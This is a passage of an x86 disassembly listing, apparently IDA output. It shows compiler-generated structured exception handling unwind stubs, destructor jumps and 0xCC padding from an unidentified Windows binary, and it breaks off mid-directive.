_8C6BDE73:00439934o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0EAh jmp sub_401023 ; --------------------------------------------------------------------------- mov eax, offset dword_439908 jmp sub_430316 ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 46808h jmp sub_401023 ; --------------------------------------------------------------------------- loc_43428E: ; DATA XREF: _8C6BDE73:0043998Co mov ecx, [ebp-10h] add ecx, 46836h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 46864h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 46892h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 468C0h jmp sub_401023 ; --------------------------------------------------------------------------- mov eax, offset dword_439960 jmp sub_430316 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_4342FB: ; DATA XREF: _8C6BDE73:004399DCo mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; --------------------------------------------------------------------------- mov eax, offset dword_4399B0 jmp sub_430316 ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43435B: ; DATA XREF: _8C6BDE73:00439A2Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= SEH_416860 proc near ; DATA XREF: sub_416860+2o mov eax, offset dword_439A00 jmp sub_430316 SEH_416860 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43438B: ; DATA XREF: _8C6BDE73:00439A64o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov eax, offset dword_439A38 jmp sub_430316 ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-1B4h] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_439A80 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-14h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_4343FB: ; DATA XREF: _8C6BDE73:00439ADCo mov eax, [ebp-10h] push eax call sub_430332 pop ecx retn ; --------------------------------------------------------------------------- mov eax, offset dword_439AB0 jmp sub_430316 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_439AE8 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-23Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-274h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-28Ch] jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_4178D0 proc near ; DATA XREF: sub_4178D0+2o mov eax, offset dword_439B18 jmp sub_430316 SEH_4178D0 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp-10h] push eax call sub_430332 pop ecx retn ; --------------------------------------------------------------------------- mov eax, offset dword_439B58 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-820h] jmp sub_4017B2 ; --------------------------------------------------------------------------- mov eax, offset dword_439B88 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-44h] and eax, 1 test eax, eax jz locret_4344D6 mov ecx, [ebp+4] jmp sub_4011F9 ; --------------------------------------------------------------------------- locret_4344D6: ; CODE XREF: _294ADE7B:004344C8j retn ; --------------------------------------------------------------------------- loc_4344D7: ; DATA XREF: _8C6BDE73:00439BE4o lea ecx, [ebp-24h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_439BB8 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401EC9 ; --------------------------------------------------------------------------- mov eax, offset dword_439BF8 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h loc_434520: ; DATA XREF: _8C6BDE73:00439C54o lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] and eax, 1 test eax, eax jz locret_43453E mov ecx, [ebp+4] jmp sub_4011F9 ; --------------------------------------------------------------------------- locret_43453E: ; CODE XREF: _294ADE7B:00434530j retn ; --------------------------------------------------------------------------- loc_43453F: ; DATA XREF: _8C6BDE73:00439C5Co lea ecx, [ebp-24h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_41A020 proc near ; DATA XREF: sub_41A020+2o mov eax, offset dword_439C28 jmp sub_430316 SEH_41A020 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_41AA60 proc near ; DATA XREF: sub_41AA60+2o mov eax, offset dword_439C70 jmp sub_430316 SEH_41AA60 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-10Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_4345CB: ; DATA XREF: _8C6BDE73:00439CF4o lea ecx, [ebp-0DCh] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-0ACh] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-94h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-0C4h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-7Ch] jmp sub_401456 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_430332 pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_430332 pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_430332 pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_430332 pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_430332 pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_430332 pop ecx retn ; =============== S U B R O U T I N E ======================================= SEH_41ACE0 proc near ; DATA XREF: sub_41ACE0+2o mov eax, offset dword_439CC8 jmp sub_430316 SEH_41ACE0 endp ; --------------------------------------------------------------------------- db 59h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_434758: ; DATA XREF: _8C6BDE73:00439DFCo mov ecx, [ebp-10h] add ecx, 15h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_41BC10 proc near ; DATA XREF: sub_41BC10+2o mov eax, offset dword_439DD0 jmp sub_430316 SEH_41BC10 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_434798: ; DATA XREF: _8C6BDE73:00439E44o mov ecx, [ebp-10h] add ecx, 15h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_41BCA0 proc near ; DATA XREF: sub_41BCA0+2o mov eax, offset dword_439E18 jmp sub_430316 SEH_41BCA0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401EC9 ; --------------------------------------------------------------------------- loc_4347D8: ; DATA XREF: _8C6BDE73:00439E8Co mov ecx, [ebp-10h] add ecx, 11h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 50h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 65h jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_41BD40 proc near ; DATA XREF: sub_41BD40+2o mov eax, offset dword_439E60 jmp sub_430316 SEH_41BD40 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-1158h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-1158h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-1140h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-1128h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-1158h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-1158h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_434872: ; DATA XREF: sub_41BE00+8o mov eax, offset dword_439EB8 jmp sub_430316 ; --------------------------------------------------------------------------- db 14h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_41C710 proc near ; DATA XREF: sub_41C710+2o mov eax, offset dword_439F10 jmp sub_430316 SEH_41C710 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_41C9D0 proc near ; DATA XREF: sub_41C9D0+2o mov eax, offset dword_439F50 jmp sub_430316 SEH_41C9D0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-48h] jmp sub_40175D ; --------------------------------------------------------------------------- loc_434908: ; DATA XREF: _8C6BDE73:00439FCCo lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-48h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_41CC30 proc near ; DATA XREF: sub_41CC30+8o mov eax, offset dword_439FA0 jmp sub_430316 SEH_41CC30 endp ; --------------------------------------------------------------------------- a0ac db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ̸0 C',0 ; --------------------------------------------------------------------------- jmp sub_430316 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-1974h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_4349AB: ; DATA XREF: _8C6BDE73:0043A0BCo lea ecx, [ebp-195Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-1944h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-198Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-18FCh] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-18B4h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-192Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-18CCh] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-1914h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-18E4h] jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_41D500 proc near ; DATA XREF: sub_41D500+8o mov eax, offset dword_43A090 jmp sub_430316 SEH_41D500 endp ; --------------------------------------------------------------------------- db 28h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-7Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_434A48: ; DATA XREF: _8C6BDE73:0043A13Co lea ecx, [ebp-64h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_434A50: ; DATA XREF: _294ADE7B:0041DE32o mov eax, offset dword_43A110 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-424h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-43Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-44Ch] jmp ds:dword_4B39AC ; =============== S U B R O U T I N E ======================================= SEH_41E6C0 proc near ; DATA XREF: sub_41E6C0+2o mov eax, offset dword_43A148 jmp sub_430316 SEH_41E6C0 endp ; --------------------------------------------------------------------------- db 14h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-112Ch] jmp sub_40198D ; =============== S U B R O U T I N E ======================================= SEH_41EB00 proc near ; DATA XREF: sub_41EB00+8o mov eax, offset dword_43A188 jmp sub_430316 SEH_41EB00 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-4FCh] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_434ACB: ; DATA XREF: _8C6BDE73:0043A1E4o lea ecx, [ebp-434h] jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_41EDB0 proc near ; DATA XREF: sub_41EDB0+2o mov eax, offset dword_43A1B8 jmp sub_430316 SEH_41EDB0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_434AFB: ; DATA XREF: _8C6BDE73:0043A21Co lea ecx, [ebp-54h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_434B03: ; DATA XREF: _8C6BDE73:0043A224o lea ecx, [ebp-54h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_434B0B: ; DATA XREF: _8C6BDE73:0043A22Co lea ecx, [ebp-24h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_434B23: ; DATA XREF: _8C6BDE73:0043A244o lea ecx, [ebp-54h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_434B3B: ; DATA XREF: _8C6BDE73:0043A25Co lea ecx, [ebp-54h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_434B53: ; DATA XREF: _8C6BDE73:0043A274o lea ecx, [ebp-54h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_434B6B: ; DATA XREF: _8C6BDE73:0043A28Co lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_434B7B: ; DATA XREF: _8C6BDE73:0043A29Co lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_434B8B: ; DATA XREF: _8C6BDE73:0043A2ACo lea ecx, [ebp-6Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_41F3E0 proc near ; DATA XREF: sub_41F3E0+8o mov eax, offset dword_43A1F0 jmp sub_430316 SEH_41F3E0 endp ; --------------------------------------------------------------------------- db 33h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401EC9 ; --------------------------------------------------------------------------- loc_434BE8: ; DATA XREF: _8C6BDE73:0043A304o mov ecx, [ebp-10h] add ecx, 11h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 50h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 65h jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_41FE70 proc near ; DATA XREF: sub_41FE70+2o mov eax, offset dword_43A2D8 jmp sub_430316 SEH_41FE70 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax mov ecx, [ebp-10h] push ecx call j_nullsub_10 add esp, 8 retn ; =============== S U B R O U T I N E ======================================= SEH_420D20 proc near ; DATA XREF: sub_420D20+2o mov eax, offset dword_43A330 jmp sub_430316 SEH_420D20 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax mov ecx, [ebp-10h] push ecx call j_nullsub_10 add esp, 8 retn ; =============== S U B R O U T I N E ======================================= SEH_420DB0 proc near ; DATA XREF: sub_420DB0+2o mov eax, offset dword_43A360 jmp sub_430316 SEH_420DB0 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_420EC0 proc near ; DATA XREF: sub_420EC0+2o mov eax, offset dword_43A390 jmp sub_430316 SEH_420EC0 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-624h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_421170 proc near ; DATA XREF: sub_421170+8o mov eax, offset dword_43A3E8 jmp sub_430316 SEH_421170 endp ; --------------------------------------------------------------------------- db 2Dh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-434h] jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_4239C0 proc near ; DATA XREF: sub_4239C0+2o mov eax, offset dword_43A470 jmp sub_430316 SEH_4239C0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_426110 proc near ; DATA XREF: sub_426110+2o mov eax, offset dword_43A4A0 jmp sub_430316 SEH_426110 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-40h] push eax call sub_430332 pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_430332 pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_434E56: ; DATA XREF: _294ADE7B:00426362o mov eax, offset dword_43A4F0 jmp sub_430316 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40146A ; =============== S U B R O U T I N E ======================================= SEH_4267F0 proc near ; DATA XREF: sub_4267F0+2o mov eax, offset dword_43A570 jmp sub_430316 SEH_4267F0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_4268B0 proc near ; DATA XREF: sub_4268B0+2o mov eax, offset dword_43A5A0 jmp sub_430316 SEH_4268B0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401EC9 ; --------------------------------------------------------------------------- loc_434EC8: ; DATA XREF: _8C6BDE73:0043A5FCo mov ecx, [ebp-10h] add ecx, 11h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64h jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_426BB0 proc near ; DATA XREF: sub_426BB0+2o mov eax, offset dword_43A5D0 jmp sub_430316 SEH_426BB0 endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401EC9 ; --------------------------------------------------------------------------- loc_434F18: ; DATA XREF: _8C6BDE73:0043A64Co mov ecx, [ebp-10h] add ecx, 11h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64h jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_426C50 proc near ; DATA XREF: sub_426C50+2o mov eax, offset dword_43A620 jmp sub_430316 SEH_426C50 endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40146A ; =============== S U B R O U T I N E ======================================= SEH_426D40 proc near ; DATA XREF: sub_426D40+2o mov eax, offset dword_43A670 jmp sub_430316 SEH_426D40 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_426E00 proc near ; DATA XREF: sub_426E00+2o mov eax, offset dword_43A6A0 jmp sub_430316 SEH_426E00 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40146A ; --------------------------------------------------------------------------- loc_434FA8: ; DATA XREF: _294ADE7B:00427252o mov eax, offset dword_43A6D0 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_4011F9 ; =============== S U B R O U T I N E ======================================= SEH_427310 proc near ; DATA XREF: sub_427310+2o mov eax, offset dword_43A700 jmp sub_430316 SEH_427310 endp ; --------------------------------------------------------------------------- db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 